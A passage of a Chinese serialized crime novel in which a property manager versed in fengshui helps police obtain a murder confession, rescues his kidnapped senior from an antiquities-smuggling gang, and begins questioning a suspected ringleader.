3号又浮现了标志性的笑容，那笑容是无声的，让人不舒服。 “3号，你为什么搞机器设备挺灵光的，搞生活和逻辑这么的废力呢？”我问。 “我告诉你们，这件事就是穆艳红自己自找的，你们爱信不信。”3号比划。 “你平时看着文弱书生的样子，谁知道下手这么黑啊，你扎穆艳红那些刀的时候，心里边不害怕？”我问。 “害怕？笑话，一个该嘎的人，谁怕她笑话！” 第九十五章 你能通灵 这个家伙还真是死鸭子嘴硬，不到黄河心不死，该怎么让他说真话呢？ “好吧，你叫我来，就是说声谢谢，现在你的谢意我听到了，我该走了。不过，你不用谢谢我，我是感动于你爸对你的爱才做的，并不是因为你。你做的事情自己去跟你爸忏悔吧。” 说完我就站起身，准备出审讯室。 预料之中的，在我打开审讯室门的时候，翻译叫住了我，说是3号还有话说。 我重新坐下看着3号，只见他犹豫了很久，好像是做了很大的决定，才慢慢的抬手和我说：“你相信有另一个世界吗？我很想他。” 我、老林和翻译都静静的看着他，这句话让我们动容。 “我从小就没有妈，生下来不到三岁，得了一场重病，好了以后就不会说话也听不见了。一直是我爸照顾我，上学挨欺负、参加中高考托门子走关系、平日里的生活起居，都是我爸，因为我，他拒绝了很多让他再找一个的声音，他说怕后妈欺负我......” 3号已经泪流满面，我逐渐的感受到了，从出事到现在，他之所以让自己过成这样，那心里面满满的都是自责。 “好不容易有了工作，我爸，给我包了一个大红包，还给我做了一桌子菜，他说他高兴，比他自己找到工作都高兴。我也高兴，因为那天他还和我喝了一杯酒。” 3号顿了顿，脸上的泪水很多，手被限制住，不能擦拭。 我们几个谁也不说话，都期待着后文，也沉浸在内容里。 “可是你们，你们毁了我的工作，也毁了我的希望。你们知不知道穆艳红干的是什么？是她自己先勾引我的，然后又抛弃我！”3号的情绪变成了愤怒。 “什么？你有根据吗？”林翔问。 “我们住在一个园区好多年了，有一回我加班到很晚才回家，夜里十点多了，马上快到园区门口了，有人拽我胳膊，我扭头一看是个女的，很漂亮，那时候不知道她叫穆艳红。因为我听不见，理解不了她在说什么。她嘴巴不动了，就挎着我的胳膊进了门，到了中庭那里，她松开了我，还和我说谢谢，那个口型我懂，经常看到。” “后来加上她的qq我问过她，她说那晚上有人跟踪她，正好遇见了我。” “你们什么时候加的qq？这么说穆艳红知道你的身份？”林翔又问。 “她当然知道，她后来做的那些，那都是装不知道，她嫌弃我是聋哑人，刻意躲避我，还删了我的qq好友。我怎么挽回都不行。”3号终于开始说出了因由。 我回忆着认识穆艳红后的经过，搜索着她有可能认识3号的细节。 “说具体一些，那天晚上你们分开以后，第二次再见面是什么时候？具体怎么加上的qq？”林翔再次发问。 “第二次见面还是夜里，场景基本上差不多，这回分开的时候，她说很感谢我，还给了我一张名片，上面有她的qq，我就加了。再后来我们每天都聊天，她很健谈，我也知道了她是网络达人，有很多粉丝。” “你告诉她你喜欢她、要追求她了吗？”林翔问。 “是的，说了，我很后悔其实，后悔自己没有自知之明，我是残疾人，人家怎么会接受我呢！”3号很低落。 “她当时明确的拒绝你了吗？” “算是明确拒绝吧，她详细的问了我家的条件，后来还说我哪些地方都好，就是残疾，我们以后没办法交流，还会影响下一代。我和她说我不是先天的，但是她不理。” 我揉着太阳穴，想着这穆艳红确实是没有严于律己啊，认识的时候就知道人家是聋哑的，何必让人家误会呢！ “你追求人家、人家不同意，还删了你的qq，所以你就恼羞成怒，开始恐吓她、最后还杀了她？”林翔问。 3号开始了沉默。 “可是不对呀，你刚才说，穆艳红跟你爸说你偷窥事情的时候，明显就是不认识你，这跟你说的情况不相符啊！”我说出自己的疑惑。 林翔也点头，“3号，你不能因为穆艳红死了无法对峙就信口开河，我们可以调出穆艳红全部的qq记录，包括删除的我们也能恢复，你明白吗？” 3号明显的不以为意，然后比划，“我就是干这些的，我当然明白，你们去查好了。” 我又一想，也许这正是3号痛恨穆艳红的原因，明明之前那么相熟，却能表现出像一切都没发生过一样。 “既然你明白，她不选择你是因为你是残疾的，为什么还要那么执着呢，每个人都有选择自己另一半的自由，她并没有表示过要跟你处朋友啊，你这个恨意我不理解。” 我说出自己的观点。 我想了想，又问：“其实这些事你完全可以告诉林警官，为什么一定要我在场的时候才说呢？” “因为我知道你超度过跳楼的女业主，还说服了违建的老金拆除违建，老金信奉风水学的，我知道你一定有本事，我想我爸，你能帮我把我的歉意传达给我爸吗？”3号渴求的看着我。 我晕！林翔也看着我，那意思，你自己挖的坑，自己跳吧。 我该怎么和他说，他理解的是有问题的呢？怎么告诉他、那些通灵的、带话的，那都是封建迷信，都是骗人的！ 想想现在的情况，还没有拿到的供述，我不能这么说，我只能用让他能放下的话去说，如果能利用上他的愧疚心理，说不定还能帮助老林。 “3号，你也是受过正规教育的人，怎么会相信这些呢？顶层改建本就不合规，老金是懂法的。至于18楼的业主，那些流言是19楼的大娘心存愧疚引发的不良相应。不是你想的那样。”我说。 3号还是十分虔诚的看着我，“你那天给我爸上了香、鞠了躬，又带人打扫完卫生以后，我爸当天晚上就来我梦里了，很慈祥的看着我笑，我已经很久很久没有梦到过他了。”　　。 第九十六章 吕向荣救我 我很无奈，林翔在偷偷的笑，翻译也愣在那。 怎么办？如果我师哥王敬之在就好了，可以让他造个假，但是现在没有王敬之，只有我自己。 仔细想想3号的渴求，以及发生这件事的前因后果，他是一个可怜人。 不能很好的放下对得不到的人的执念，促成了今天的恶果。 而且在这件事里，又夹杂了他对自己父亲的不舍、愧疚，甚至是现在的放不下，我难道不该帮帮他吗？ “好，我帮你！”我很肯定的告诉3号。 3号的眼睛里重新有了光，林翔则是用诧异的眼神瞅了瞅我，还撇撇嘴。 我知道，他是替我捏把汗，咱们都是成年人，可不该骗人情感。 我什么也没说，也没给他有任何表示，看看3号说：“我先回去了，你拜托我的事情，我今天就做。但是我也建议你，把该说的说出来，这样才能清清白白的去见你爸。” 后一句是我加工的，也是我押的宝，至于管不管用，那就只能听天命了。 好在现在掌握的证据也可以认定他是凶手。 从审讯室出来，林翔也追过来，“向荣，能行吗？我看你信誓旦旦的样子。他如果被定了罪，很有可能死刑的。” “我不知道，我想试试。”我朝林翔眨眨眼，“我先回去了，对了，许德生和丁有生那边有什么新消息吗？” “许德生跑了，冯楠也失踪了。”林翔说。 “什么？跑了？不是说还没掌握他作案的直接证据吗？你们都没动，他怎么会跑？”我着急的问。 “我怀疑是郑杰传了话。”林翔说。 “啊？郑杰传的话......”我越想越有可能，结合第二次郑杰和我说的话，太有可能了。 怪不得得了那么怪的病，原来真的是行过恶事。 “那丁有生呢？”我又问。 “丁有生还在名都，他应该是以为他的身份我们还不清楚，现在他在背后全权负责名都的业务，当然，对外的名字叫吴岩。”林翔回。 “对了，王闯的车祸我们的调查结果也出来了，确实有问题，他的刹车坏掉了。” 我思考着林翔的话，感觉之前全部的猜测都在点上。 “向荣，事情目前看，都是按照你的推测在复原。现在唯一无法确定的是，刘才东和谢敏到底是什么关系？那50万到底是怎么回事？”林翔也开始思考。 是啊，50万，刘才东得干多少年保安能赚这么多钱。 跟林翔分开以后，我回到锦绣小区，老袁正在等我。 “向荣，你回来的正好，我找你有事。”老袁笑眯眯的，不像坏事。 “袁总，您说吧，什么事？” “集团决定任命你为代理大区物业总，即时生效，试用期六个月，通过考核可以提前结束代理的身份，直接转为正式。”老袁说。 “啊？这，这么突然，您来了没多久啊！我怕我不行，这官太大了。”我确实没底。 “你放心，你的直属汇报对象在一段时间内还是我，到你转正以后就跟集团副总汇报，在你考核期，我会辅助你的，会帮你，别担心。” 老袁想了想又说：“这个大区总的年薪应该可以达到30万，你不想试试？” 天！30万，那是我梦寐以求的啊！ “袁总，您觉得我行吗？”我问。 “我觉得你行啊！不是我觉得你行，是你确实行啊！大区总做的事情基本跟你之前的相同，不同的是变为了管理统筹，会同时管好几个地方，不是执行了，你怕什么呢？” 我心里有一千一万个声音在喊着我不怕、我行、我要上，但是还是竭力劝着自己要冷静、冷静！ “行，既然有考核期，我就试试，还要多仗着袁总支持啊！多教教我，我年轻，人情世故方面还差很多。”我如实讲自己的想法。 “哈哈，这也是我欣赏你的地方，你就如一块璞玉，心地善良，没有那么多人与人之间的套路、奸诈，这很难得啊！我跟老板也是这么夸你的，老板也很欣赏这样的人。” “袁总，这，向荣何德何能啊，能让您在老板面前这么夸我！”我很感激。 幸福来的太突然了！ “明天，我就准备回去了，一个是自己的地盘需要我，再一个家里也需要我，你有事随时给我打电话。现在锦绣、锦荣、锦源、城中花园，还有临市的5家都属于你的管辖范围，你可以重新梳理管理班子，整顿物业团队，完成下半年的任务就靠你了！” 袁总还是笑眯眯的看着我，我有点懵，突然之间管了这么多地方，有些连去都没去过，我能行吗？ 袁总好似看出了我的忐忑，“别急，一点点来。也不要怕，都有这个过程。” 我点点头，又握住老袁的手，说：“袁总，一开始的时候我误会过你，以为你是来整我的，对不住啊！” “我早就知道了，你这个小子，我要是不规整你那些边角余料，你升到这么高的职位，不得被老多眼红的人给穿小鞋啊！到时候老板也没办法保。向荣，职场是很现实的，你还需要历练。”袁总语重心长的说。 我感叹着自己的幸运，总是遇到职场贵人在帮衬自己，我很感恩。 “明天我去送您吧，回去记得按照我说的方子抓点中药调理，以后肯定不会得心脑血管病。”我嘱咐老袁。 老袁拍拍我的肩膀，我俩相视一笑。 当天晚上，集团的任命就发出来了，而且是邮件的形式，江怀洲、李壮、崔丹这些老下属纷纷发来“贺电”，还有蔡浩，特意给我发了条短信息恭喜我。 我也很高兴，很想找人分享，可是师哥却不在，这个家伙，走了好几天了怎么一个消息都没有，我得打电话问问。 拨通王敬之电话，铃声响了好久都没人接。 我不禁狐疑，咋回事？不是陪着冯晶晶散心吗？散哪去了？ 可能方便了能给我回，我捧着手机边看新闻边等电话，可是一直等到很晚了都没消息，迷迷糊糊的睡着了。 不知睡了多久，听见王敬之喊我，“向荣、吕向荣，来救我，快！” 我懵懵的，“师哥，你在哪啊？出什么事了、还得我去救你？” 揉揉眼睛，看见王敬之个背影，背着个帆布包，这家伙，越来越神了，说的啥话，我没听懂就走了。 不对啊，“咣”我掉到了地上，原来是做梦了。 掉地上磕到了膝盖，疼的我直咧嘴，这回彻底醒了，才明白过来，我梦到了王敬之，可是为什么是要我去救他？ 我的心里在回忆了一遍梦境后，变得狐疑不安，又打了一遍电话，还是没人接，师哥怕不是真的出事了吧？　　。 第九十七章 他爸要带他走 好不容易熬到天亮，安排好送袁振文回程，我准备去荟萃亭看看。 王敬之陪冯晶晶去散心，一定是在这里会和的，这段时间，冯楠也失踪了，这是巧合吗？ 只有去冯楠家附近看看，我才能理出头绪，打听一下，说不定能知道他们去了哪里散心。 到荟萃亭以后，我依旧先去了物业，打算先看看监控。 “王哥，你当班啊？”荟萃亭的保安还是那个年纪大的王哥。 “哟，向荣啊！今天怎么有时间过来？是不是有事？”王哥笑呵呵的看着我。 他都习惯了，每次来我都是有事。 “王哥，我师哥失踪了，失踪前最后到的是冯楠家，你帮我看看他出园区去了哪个方向呗？”我诚恳的央求。 “啥？又有人失踪了？我说向荣啊，你身边的人咋总失踪咧，有点邪性。” 我看着极其严肃、又极其惊恐的王哥，哭笑不得，“王哥，没你想得那么严重，帮弟弟看看，拜托拜托！” 一边说我一边递过去一盒华子，王哥一看有烟抽，立刻笑逐颜开，“这都小意思，不用这么客气。” 王哥接过烟揣进兜里，开始给我调监控。 调到王敬之来冯晶晶家那天，我看见背着帆布包的王敬之进了别墅，那个包就跟梦里的一模一样。 过了十几分钟，看见王敬之和冯晶晶一前一后的走出来，冯晶晶还推了一个拉杆箱。 他们出了园区门，门口的监控显示有辆车停在那，两个人一前一后上了车。 “向荣兄弟，你师哥跟冯楠的闺女在处朋友啊？那女孩可是正宗的白富美，你师哥这辈子的生活问题都解决了。”王哥评论着。 “他们，应该不是吧。我没听师哥说呀，师哥只是说陪冯晶晶去散心。” “这事儿一开始的时候都是心照不宣的，处一处就有感情、水到渠成了，一看你就没有恋爱经验。”王哥嘿嘿的笑，拿出一支烟点上。 “要说这华子，就是味儿好！” 我记下车牌号，跟王哥拱了拱手，说：“王哥，我先走了，出去转转，今天谢了啊！” 出了荟萃亭，我给林翔打电话，“老林，我师哥王敬之失踪了，已经有个七八天了吧没任何消息。走时候说是跟冯楠的女儿冯晶晶去散心，因为我忙着换新领导的事情，就没顾上问那么多，昨天想起来打听打听他玩的怎么样，谁知道手机一直是无人接听。” 我顿了顿，把昨晚上的梦也跟林翔说了一遍。 “向荣，按说这个情况够不上失踪人口，但是你那梦，我认识你这么久了，我也不好判断，你这样，你去当地派出所报个失踪，走个程序。”林翔建议。 “老林，我去过荟萃亭了，看到他和冯晶晶上了一辆车，你帮我查查这个车牌号可以吗？”我接着补充。 “行，把车牌号发给我吧。这事说不定跟冯楠失踪也有关系。” “对了，向荣，3号撂了！”林翔突然就来了一句。 “真的吗？这么快！是他杀了穆艳红？”我的声音夹杂着喜悦。 “是，他承认了。就像我们推理的一样，他对穆艳红因爱生恨，再加上穆艳红间接导致了他爸脑出血死亡，他怀恨在心，就实施了犯罪。凶器是一把小铲子。” 我想到了消防井里缺失的铲子。 “他有没有说为什么这么快就撂了？”我问。 “他说你离开后的第二天，他在看守所里梦到了他爸，他爸跟他说要带他走。”林翔回。 啊？我和林翔都沉默了。 “我们复原了穆艳红全部的qq记录，证实3号没有撒谎。”林翔说。 “老林，这是一个可怜人呐！”我感慨。 “可怜之人必有可恨之处，好了，不多说了，我去查查这个车牌号。”林翔说完结束了通话。 我坐在物业办公室里，无所适从，想着3号对自己父亲的执念，一阵唏嘘。 在等待老林查车牌号结果的时候，接到江怀洲的电话。 “领导，你身边没有别人吧？我跟你说一件事情。” “就我自己，啥事啊，你这么神神秘秘的？”我有点不高兴。 “这两天我在园区巡视，总发现柱子过来，就去原来那个吴岩租的房子，那家不是已经退租了吗？他去做啥？”江怀洲说。 这件事确实可疑，立刻引起了我的兴趣，“他都什么时间来？” “基本上都是很晚的时间，夜里。每次都是半个小时左右，就走了。” “老江，你这个线索太重要了。我一会儿就去城中花园，你等着我！” 那房间里一定有猫腻！ 稍微晚一些、接近下班的时间我到了城中花园。 “老江，人来了吗？”我进门就问。 “领导，没这么早，一般都得八点左右呢。我们先去吃点东西，叫着蔡浩，我们三个很久没见了。”江怀洲看见我很高兴。 我想了想，说：“行，正好我也想跟你们见见面聊一下接下来的工作安排。” 饭是在物业办公室吃的，在隔壁饭店叫了几个菜，我们三个人围坐在桌子边。 我看看越发精神的江怀洲，刚认识时候的黄毛变为了规规矩矩的短寸头，眼神也不再躲躲闪闪。 还有一脸诚恳的蔡浩，皮肤也没有了刚认识时候的粗糙可怖，眼神也清亮了很多。 看来，一份好的事业是可以培育人的。 “领导，我以茶代酒，庆祝你高升。”蔡浩第一个举起杯子。 “我说浩子，你抢了我的先机，我也跟一杯！”江怀洲赶紧说。 “啥先不先的，你们两个跟了我这么久，工作能力、工作态度怎么样，我心知肚明，咱们之间不用搞那些场面上的事。来，喝！”我边说边将杯中的水一饮而尽。 两个人也喝光了杯里的茶水。 我一边吃菜，一边说：“我现在管辖的小区翻了倍，接下来我想去临市那几个小区转转，了解一下情况，所以之前待过的这几个小区我暂时兼顾不了太多。城中花园这边我准备交给老江，蔡浩你配合他，保洁和工程人员就是现有这些人手，不增派人了。因为城中花园有自拓经营，年底辖区的任务还要多背一些，你们两个，有没有问题？” 江怀洲和蔡浩互相看了看，蔡浩又是第一个说：“领导，你放心，你交给我的任务我一定努力完成，完不成想办法也要完成。” 江怀洲则是喏喏的说：“领导，我来的时间不长，这么大盘子交给我，合适吗？” “有啥不合适的？我知道你行我才交给你的。那你跟着我干，我不给你创造成长的机会，总让你跟班，地道吗？”我直接开说。 “嘿嘿嘿，幸福来得太突然了，我都没想过会有这一天。”江怀洲挠着脑袋笑。　　。 第九十八章 八号楼顶楼的玄机 “后天我准备开一个会，把几个骨干都集中到一起，到时候我再宣布我的安排。老江、蔡浩，城中花园是我从0-1捋顺的，你们要利用好业委会的作用，可别给我掉链子。” “是！领导放心！”这回是江怀洲第一个表决心。 “一定的，放心吧，领导。”蔡浩紧跟。 吃完饭我们又聊了一会，到了八点左右，蔡浩溜达回家，我和江怀洲去了吴岩租的房子附近转悠。 “领导，我们得躲一下，柱子认识我们，碰面了就该防备了。”江怀洲拉着我躲到灌木丛里。 夏天的夜里，虫子和飞蛾很多，我在灌木丛里躲的难受加憋屈，看看时间接近九点了，这柱子今天是怎么了？还不出现。 江怀洲看出我的难受，时不时的帮我赶一下蚊子。 就在我无比烦躁的时候，传来喘息声和脚步声，听着好像很累，脚步很快，偶尔小跑。 江怀洲探头看了一下，“是柱子！” 我朝他比了一个嘘声，越晚越安静，有点声音就容易打草惊蛇。 我透过灌木丛的缝隙看出去，外面走过来的胖子，穿着职业装，衬衫纽扣也没系利索，满头的汗，一副心急火燎的表情，急匆匆的往吴岩租的八号楼走去。 他的手里拎了一个塑料袋，像是饭盒。 “老江，他手里拎的饭盒怎么跟我们刚才在门口买的那家一样的？”我问。 江怀洲仔细看了看，“还真是，也是老杨家家常菜。” 难道，他是去给谁送饭？ 我们没有离开，一直在原地等他出来，按照江怀洲的说法，半个小时左右就会出来。 可是今天等了快一个小时了还没出来，咋回事？ “领导，要不我上去看看呀？”江怀洲问我。 “不能去，先等着。现在没有其它线索，万一这一条也断了，就没有方向了。”我回。 在外面足足等了一个半小时，接近11点的时候，柱子下来了，可是造型吓了我一跳。 衣服都被撕开了，脸上还有伤，骂骂咧咧的从楼道里出来，感应灯照到他的时候，他正抬手擦脸，手上有红色的血迹。 “有血，领导，不会是杀人了吧？”江怀洲的想象力很丰富。 我扶住江怀洲，小声说：“等他走远了，我们上去看看。” 看他的样子不太像有凶案，因为其它地方没见到血，感觉更像是打了一架。 柱子走远后，我和江怀洲又等了十分钟，四周都安静了，我们俩一前一后去了八号楼。 房子在顶楼，一梯两户的格局。 我们上去以后检查了走廊和门厅都没有异常，出了防火门，我去翻垃圾桶。 “领导，这里能有啥？”江怀洲问。 “如果里面有人住，就一定会扔垃圾，找找。”我回。 于是我们把整个垃圾桶里的垃圾都倒出来检查。 “另一户有人住吗？”我问。 “有，是一家三口。”江怀洲说。 “这么说，这些垃圾未必全是吴岩那户的，不管了，先看。”想到王敬之在梦里迫切的求救，我的心在滴血。 几块带血的纸巾吸引了我，“老江，你兜里有没有塑料袋什么的？手绢也行。” 江怀洲也看见了带血的纸巾，赶紧翻兜，“有了、有了，领导，有塑料袋！” 我轻轻的把几个纸巾都装到塑料袋里，又仔细寻了寻，没再见到其它可疑的垃圾。 “老江，你善一下后，我现在去找林翔。”我一刻也不想再拖。 “领导，这都几点了，人家都下班了，你别急，别急！”江怀洲提醒我。 我冷静下来，是啊，这个时间接近12点，找了林翔等于是给人家找麻烦。 “领导，我上去看看，你等我。” 我顺着他手指的方向一看，对啊，可以顺着天窗爬到上面，在找机会找到窗户看看室内。 我跟在江怀洲的后面，顺着铁梯往上爬。 出了天窗就是楼顶，好在只是八楼，没有那种炫目的高。 城中花园顶楼的格局是有个尖顶的阁楼那种，尖顶位置有个气窗，我和江怀洲绕到气窗附近，寻找着姿势往里看。 好在里面亮着灯，并不是黑乎乎的一片，看来室内确实有人。 我四下打量的时候，一眼就看到了扔在角落里的帆布包，那包是王敬之的！ “师哥！”我连跑带颠的准备顺天窗下去，然后撬门入室。 江怀洲一把拽住了我，“领导，什么情况，你别跑，别急！” “王敬之的包在里面，王敬之可能关在这。”我挑重点说。 “你看清了吗？” “一定不会错！” “领导，我们不能这么贸然的进去，你看到的只是包，不是人，万一进去了只有包，就打草惊蛇了，王敬之可能就有危险，你想过吗？咱们得去找警察。”江怀洲很冷静。 “可是如果里面有王敬之，他这会儿有危险怎么办？刚才柱子手上有血。”我着急。 江怀洲也不知道说什么了，我俩互相对望。 这样吧，我给林翔打个电话，问问林翔怎么办。 “老林，你休息了吗？我有急事。” “没有，我还在单位呢，什么事这么着急？车牌号我还没拿到结果。” 我把我看到的情况跟林翔简单说了一遍，“我手里有沾着血的纸巾，可以化验一下是不是王敬之的。” “化验要明天，现在来不及呀！”林翔想到了我的担忧。 “这样，我派个人过去，开门进去，你们看一下，没问题再出来。”林翔说。 不得不说，老林真给力，我知道他找的人就是上一回那个开锁的，现在也只有这个主意管用了。 十分钟左右，我就接到了电话，江怀洲到园区把人给领了上来。 没有费多大力，门就开了，我和江怀洲鱼贯而入，开锁的在外面望风。 客厅、卫生间、次卧都没问题，屋子里并不乱，桌子上有一个放过东西的印子。 门口的垃圾桶里有刚才柱子手里拿的饭盒，扔掉了很多菜，还有饭。 “一定有人，去主卧！” 我打开主卧的门，点开灯，一眼就看见绑在椅子上的王敬之，他的额头破了，在流血，嘴巴被堵的严严实实。 开灯后他看到我，眼神里透露出如释重负。 我赶紧过去给他解开绳子，拿出塞在嘴里的破布，“师哥，你怎么吃这么大亏？出什么事了？” 第九十九章 我命硬 “快、快去救晶晶！”王敬之很虚弱。 “晶晶？她在哪？”我也很着急。 “她被他们带走了，得找。” “师哥，此地不宜久留，我们得快走。而且得马上通知林翔行动，要不然他们发现你没了，躲起来就逮不到了。”我拉起王敬之，找到帆布包，急急忙忙的出了门。 开锁的看见我们出来了，又神情自若的锁上门。 回到物业办公室以后，我一边给王敬之擦药，一边询问他到底发生了什么。 王敬之冲口而出的第一句话是：“给林翔打电话，丁有生那批文物要出手了！” “我、这，这不行，林翔会懵的，什么方向也没有，我给他打电话，让他来！”我拿出电话拨通林翔的号码，说清楚经过后，林翔说尽快赶到。 林翔没到的时间，我和江怀洲给王敬之处理伤口，倒了杯水给他，看着他虚弱的样子，知道他还没吃东西。 “老江，你想想办法，给我师哥弄碗面，要加鸡蛋的那种。”我和江怀洲说。 “得嘞，我这就去。”江怀洲出了门。 “师哥，到底咋回事？什么文物？你怎么被柱子拿下了？你这练家子啊，那个胖子怎么能把你绑这么结实？”我一口气问了一堆问题，确实太让我意外了。 “他们趁人之危，我着了道。你快看看我包里的黄金罗盘还在不在？”王敬之突然急了。 黄金罗盘？对啊，那也算是稀罕物件，不会是让丁有生相中了吧？ 我赶紧找到包，拿给王敬之，“师哥，你看看还有没？” 王敬之拿过包，还没打开看，用手捏了捏就颓唐的说：“完了，没了。” 我去了，这帮孙子！这跟贼有什么两样？明抢啊！ “我一定要亲手逮住丁有生，拿回罗盘。”王敬之咬牙切齿的说。 “师哥，你不是陪晶晶散心去了吗？怎么遭遇了丁有生了？对了，冯楠也失踪了。” “冯楠被他们关起来了，在荟萃亭那边，跟文物在一起的地窖里。”王敬之说。 啊？信息量好大，看来王敬之这一趟摸清不少内情。 正说着，林翔到了。 “老林，你还真快，才十分钟就到了！”我示意进门的林翔坐着说。 “敬之，什么情况？发生了什么事？”林翔拿出录音笔开始录音。 原来，王敬之和冯晶晶出发那天，先去了名都跟冯楠见面，那辆车就是接他们去名都的。 到了名都之后，王敬之趁冯楠和冯晶晶说话的时候，去了一趟洗手间。 在洗手间里听到丁有生在隔壁打电话，多次说了方鼎，王敬之对古法器、古文物感兴趣，他立刻警觉起来。 丁有生挂断电话出去之后，他偷偷的跟在后面，丁有生上了三楼，进了309。 门打开的一瞬间，他看到里面坐了两个外国人，地台上还有一个大布包。 他想趴在门上听，还没等五分钟，就感觉后脑勺被人重重的敲了一下，他晕了过去。 醒过来的时候已经被绑到了椅子上，丁有生、许德生还有冯楠都在，丁有生拿着黄金罗盘在把玩，王敬之的帆布包扔在旁边。 “有生，还是算了吧，吕向荣治好了我的病，我们不要再做伤天害理的事。”冯楠说。 “三哥，我们不能妇人之仁，这事儿走漏了风声，那可是要掉脑袋的大罪。”许德生说。 “你给我闭嘴！之前那些事儿，哪个不是你坏的，现在我和大哥一身毛病，老二也不能见天日，难道不是报应吗？”冯楠生气了。 这时候冯晶晶突然闯进来，“爸爸，我找不到敬之哥哥。”她没有敲门，进来看到这一幕吓了一跳。 同时心里一惊的还有冯楠，他知道，凡是知道这件事情的都走不出去。 许德生直接就向冯晶晶走过去，王敬之被堵着嘴，极力的挣扎，怕他们伤害冯晶晶。 冯楠直接就走到冯晶晶前面拦住许德生，“你敢！” 很出乎意料的是许德生拿着弹簧刀直接就扎了过去，嘴里还说：“早就想结果你了，天天听你墨迹，报应、报应，我先给你来点报应！” 冯晶晶哪见过这场面，直接惊叫起来，许德生刚要动手，一直没说话的丁有生说话了。 “生子，他是我女儿！”许德生停下来，扭头看看丁有生，丁有生使了个眼色，许德生拉起冯晶晶，敲晕了，带了出去。 再后来，王敬之再也没见到冯晶晶、也没见到冯楠，隔了几天就被车带到了一个房子里，每天有人过来给送饭。 我听的心惊肉跳，江怀洲说过，三楼是私密楼层，有特殊监控，王敬之盯上丁有生的时候，应该就被发现了。 “师哥，你还在那干过，怎么就不知道三楼有特殊监控啊！你要是有什么三长两短，我怎么面对九泉之下的姥爷？”我埋怨他。 “他们这个特殊监控，保安都不清楚，我也是出事以后，回想过程，才警觉中了套。不知道冯楠是不是还活着。”王敬之还惦记着冯楠。 “敬之，现在冯楠和许德生都不知去向了，只有丁有生依旧沿用吴岩的名字在名都，你这些证词，我们可以传讯他，但还是不能定罪。”林翔说。 “先给他点下马威尝尝，至少他隐姓埋名这事儿是有证据的，够他喝一壶的。”我说。 林翔想了许久，说：“向荣，我有个主意，需要你的配合。” “义不容辞，你说！”我感觉到这件事马上就要揭晓谜底了，刘才东的仇很快就可以报了。 “你跟郑杰来一次正面交锋，用你的强项，逼他就范，只要他愿意当人证将功赎罪，政府会宽大处理。当然，你务必自己判断好，这件事他参谋了多少？尤其是谢志强家灭门案。”林翔布置任务。 “向荣，我知道这件事对你来说会有点难度，如果你拒绝，也没问题。另外，你去郑杰家期间，我会派人在暗处保护你，你务必、务必小心行事，因为我们现在真的无法判断郑杰是不是幕后指使。” 林翔的表述显得有点乱，我知道，他是在担心我的安危。 “吕向荣，我这次不能陪你去，你可要多加小心，师哥不准你出事，知不知道？” 我看向王敬之，想起他在梦里跟我说去救他，“师哥，你放心，我命硬，不会有事的！” “老林，你想表达的我都知道了，没表达的我也能领会，你放心，我一定给你一个满意的结果。”我表了决心。 “好，明天我们就发通缉令，通缉许德生，传讯丁有生，给向荣创造有利条件。” 第一百章 情感攻势 第三次给郑杰治疗的时间也到了，这一回我带着在心里酝酿好的套词，要跟这个“老油条”较量较量。 临走前我告诉王敬之，“师哥，你放心，那小罗盘我一定给你找回来！” “吕向荣，你可别逞能了。我都着了丁有生的套，你咋就比我强多少了！”王敬之确实是恢复了，知道跟我贫了。 我看看他，笑眯眯的准备上车，想了想朝保安亭里的江怀洲招了招手，江怀洲立刻跟我喊：“领导你放心吧，城中花园肯定不给你掉链子。” 看，这就是我带的兵，说话都跟我的风格一样。 再次看到郑杰，他的精神状态明显好了，卧室的窗帘已经打开，他也换了家居服。 可是我看到他的眼睛，明显红红的，好像哭过。 “向荣兄弟，你看看我现在，不再怕见光了，也觉得有劲儿了，这些都要感谢你呀！”郑杰笑眯眯的看着我说。 “郑老大，今天是我们最后一次行针，之后就不需要了，你按时喝汤药就可以。” 我一边说一边拿出工具，郑杰躺在床上也不说话。 这一次行针明显顺利很多，之后开始打罐，需要排血的位置也不再是紫黑色。 “郑老大，汤药吸收的不错，今天我再给你调两味，重点补一下肾气，你的筋骨会越来越有力量，这副药即将喝没的后三天，你可以每天适当运动10-20分钟。” “向荣兄弟，就按你说的办，我没意见，我信任你。”郑杰说。 我看向他，这个老人到底是不是幕后主使呢？许德生一开始的时候是跟着他干的。 我该怎么开头去切入这件事才会触动他讲真相呢？ 忽然想到了谢志强的老妈，还有廖依依的妈妈田红大娘，好，就从这里入手。 如果一个人在情感面前还有波动，那说明还有救。 “郑老大，这几次来都没见到你的孩子，你有几个孩子？”我问。 “我只有一个儿子，他帮我照看着家里的生意，走不开。平时只有我一个人在这。” “哦，那您还好啊，您的经济实力可以让您雇佣保姆、佣人，只要有人在身边，发生什么危险都有个人帮着救援。”我感慨。 “向荣兄弟怎么感慨了？难道你爸妈不在你身边？”我成功的挑起了郑杰的好奇心。 “我爸妈在老家农村呢，我一直想把他们接过来，但是能力有限。不过我还有姐姐，父母那边有人照顾，这个我倒是不担心。” “那你是因为什么突然低落了啊？”郑杰继续问我。 “我是因为看到你的情况，想到我管理园区的一个业主，是个老大娘，独居，女儿在国外，她突发心梗死在家里一个多月才被我们发现。挺惨的。” “啊？还有这样的事情？后来那个女儿知道了吗？”郑杰代入了情绪。 “知道了，而且她和她妈，还有她生父之间有误会，也是这次给她妈出殡才解释清楚。对了，这个人你应该认识的。”我话锋一转。 “我认识？是谁？” “廖文彬，死的是他前妻。”我盯盯的看着郑杰。 他突然就愣住了，手抖着说：“你说廖文彬吗？五弟？” “对，廖文彬，开发锦源小区的开发商廖文彬。”我确认。 郑杰拍着轮椅，无不哀叹的说：“可惜啊、太可惜了！” “郑老大，你认识他前妻田红？”我感觉有事情。 “何止是认识啊，田红就是我介绍给文彬的，那时候文彬很穷，田红是国企大厂铁饭碗，田红不嫌弃他，一心一意跟他过日子。可是这小子发迹了，却开始嫌弃田红......” “所以您现在不怎么跟廖文彬来往了？”我问。 “那倒不是，主要是他开始疏远我们，不止是我，还有老二和老三。文彬脑瓜灵活，开发荟萃亭没赚什么钱，他就不爱跟我们干了。” “郑老大，荟萃亭的地气和风水，很不好，你们为什么要开发那里呢？而且如果你们想做好那件事，开发之前应该先把原有不利地势调整了再开干呀！接触不利风水，并且继续做阳宅，对自身的福报是有影响的，像你和冯三哥的身体受损，都有原因。”我开始表演。 郑杰很感兴趣，推动轮椅到我身边，“向荣兄弟，你是说真的？” “当然，我从小学的就是风水和中医，在这方面我不敢说自己全能，但是该能的我不比业内的其他人差。”我对自己的本事很自信。 “上一次我去荟萃亭，看到冯楠按照我说的调整方法治理的很好，尤其是植树补基，地气的磁场已经基本正常了。” 